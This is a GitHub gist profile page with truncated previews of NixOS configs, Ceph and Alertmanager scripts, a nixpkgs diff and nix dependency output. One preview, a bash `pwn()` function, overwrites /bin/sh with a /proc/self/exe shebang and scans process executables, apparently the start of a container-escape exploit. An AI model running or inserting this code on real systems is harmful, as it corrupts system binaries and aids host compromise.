Skip to content

Instantly share code, notes, and snippets.

View johanot's full-sized avatar

Johan Thomsen johanot

  • Danish Scout and Guide Association
  • Denmark
View GitHub Profile
let
p = builtins.fetchTarball "https://github.com/NixOS/nixpkgs/archive/nixos-20.03.tar.gz";
common = { pkgs, config, ... }: {
fileSystems."/" = { device = "/dev/null"; fsType = "ext4"; };
boot.loader.grub.devices = ["/dev/null"];
environment.systemPackages = [pkgs.ngrok];
nixpkgs.pkgs = import p { # set pkgs globally, kind of the same way as "network.pkgs" does transiently
config.allowUnfree = true;
};
let
p = builtins.fetchTarball "https://github.com/NixOS/nixpkgs/archive/nixos-20.09.tar.gz";
common = { pkgs, ... }: {
fileSystems."/" = { device = "/dev/null"; fsType = "ext4"; };
boot.loader.grub.devices = ["/dev/null"];
environment.systemPackages = [pkgs.ngrok];
};
in
{
@johanot
johanot / alert.sh
Created June 11, 2020 07:33 — forked from cherti/alert.sh
send a dummy alert to prometheus-alertmanager
#!/bin/bash
name=$RANDOM
url='http://localhost:9093/api/v1/alerts'
echo "firing up alert $name"
# change url o
curl -XPOST $url -d "[{
\"status\": \"firing\",
/nix/store/7rnfgk9bkm1r45qn2fqcss4v47l86vd1-ceph-13.2.2/bin/ceph-volume lvm activate --all --no-systemd --log-path /dev/stdout
usage: ceph-volume lvm activate [-h] [--auto-detect-objectstore] [--bluestore]
[--filestore] [--all] [--no-systemd]
[ID] [FSID]
#!/nix/store/b9p787yqaqi313l9rr0491igjwyzqfmw-bash-4.4-p23/bin/bash
mkdir -p /var/lib/ceph/osd
/nix/store/7rnfgk9bkm1r45qn2fqcss4v47l86vd1-ceph-13.2.2/bin/ceph-volume lvm activate --all --no-systemd --log-path /dev/stdout
for i in $(/nix/store/7rnfgk9bkm1r45qn2fqcss4v47l86vd1-ceph-13.2.2/bin/ceph-volume lvm list --format json | \
/nix/store/xkzmszz7vp1wdgbpyfvb1wns2qlx9mhz-gnugrep-3.1/bin/grep -Ev "^-->" | \
/nix/store/fsbbzrfbbamhqsgcmj2g6y78csij9xjd-jq-1.5-bin/bin/jq -r 'keys | .[]') ; do
/nix/store/y02g0zvkrna2znjkiwx9k6w3ppfwzzym-systemd-239.20190110/bin/systemctl start ceph-osd@$i
done
if nixBuildTargetFile != "" {
if path, err := filepath.Abs(nixBuildTargetFile); err == nil {
nixBuildTargets = fmt.Sprintf("import \"%s\"", path)
}
} else if nixBuildTarget != "" {
nixBuildTargets = fmt.Sprintf("{ \"out\" = %s; }", nixBuildTarget)
}
#!/bin/bash
function pwn() {
echo '#!/proc/self/exe' > /bin/sh
chmod +x /bin/sh
while true; do
for f in /proc/*/exe; do
tmp=${f%/*}
pid=${tmp##*/}
--- a/pkgs/development/python-modules/cherrypy/default.nix
+++ b/pkgs/development/python-modules/cherrypy/default.nix
@@ -1,8 +1,7 @@
{ lib, buildPythonPackage, fetchPypi
, cheroot, contextlib2, portend, routes, six
, setuptools_scm, zc_lockfile
-, backports_unittest-mock, objgraph, pathpy, pytest, pytestcov
-, backports_functools_lru_cache, requests_toolbelt
+, pythonPackages
}:
$ nix why-depends /nix/store/a08j9s863k6q9l9hkny11g2gc47g8sqf-nixos-system-container-s01-18.09pre-git.drv /nix/store/dngvv44ym04cbwbmc7rl3lac8nikpva8-wayland-1.15.0.drv
/nix/store/a08j9s863k6q9l9hkny11g2gc47g8sqf-nixos-system-container-s01-18.09pre-git.drv
╚═══/: …itrd.drv",["out"]),("/nix/store/8496caiwndx7ipzh4nm315sapj15l4hr-etc.drv",["out"]),("/nix/store/…
=> /nix/store/8496caiwndx7ipzh4nm315sapj15l4hr-etc.drv
╚═══/: …keys.drv",["out"]),("/nix/store/n4dmbv8s7bg6zpsya8zyij6xc85fm5cs-system-units.drv",["out"]),("/n…
=> /nix/store/n4dmbv8s7bg6zpsya8zyij6xc85fm5cs-system-units.drv
╚═══/: …vice.drv",["out"]),("/nix/store/a8mrqj2ll0w4v605jdrjzlnx9n2si5p7-unit-kubelet-bootstrap.service.…
=> /nix/store/a8mrqj2ll0w4v605jdrjzlnx9n2si5p7-unit-kubelet-bootstrap.service.drv
╚═══/: …-4.5.drv",["out"]),("/nix/store/yx8fsssimzl8wqn09pm8v8nz53s94h7m-unit-script-kubelet-bootstrap-s…
=> /nix/store/yx8fsssimzl8wqn09pm8v8nz53s94h7m-unit-script-kubelet-bootstrap-s
[nix-shell:~]$ nix why-depends /nix/store/i5hk79317j4yxkjaz6iljvv2xjm4f52l-nixos-system-container-s01-18.09pre-git.drv /nix/store/dngvv44ym04cbwbmc7rl3lac8nikpva8-wayland-1.15.0.drv
/nix/store/i5hk79317j4yxkjaz6iljvv2xjm4f52l-nixos-system-container-s01-18.09pre-git.drv
╚═══/: ….6.0.drv",["out"]),("/nix/store/6ydkp5aavxij8lfhjrd3iwifxk67ca9a-polkit-0.115.drv",["bin","out"]…
=> /nix/store/6ydkp5aavxij8lfhjrd3iwifxk67ca9a-polkit-0.115.drv
╚═══/: ….9.0.drv",["out"]),("/nix/store/qbdysi986wpyx99mfmsyr82803mljdf4-gobject-introspection-1.56.0.dr…
=> /nix/store/qbdysi986wpyx99mfmsyr82803mljdf4-gobject-introspection-1.56.0.drv
╚═══/: …r.xz.drv",["out"]),("/nix/store/73lmaajnr2z7rvw4cjj1xxx7dg59izjr-absolute_gir_path.patch.drv",["…
=> /nix/store/73lmaajnr2z7rvw4cjj1xxx7dg59izjr-absolute_gir_path.patch.drv
╚═══/: …-p23.drv",["out"]),("/nix/store/y3bxqwiikf5ar3djdbrscch9f3f55s1s-cairo-1.15.12.drv",["out"])],["…
=> /nix/store/y3bxqwiikf5ar3djdbrscch9f3f55s1s-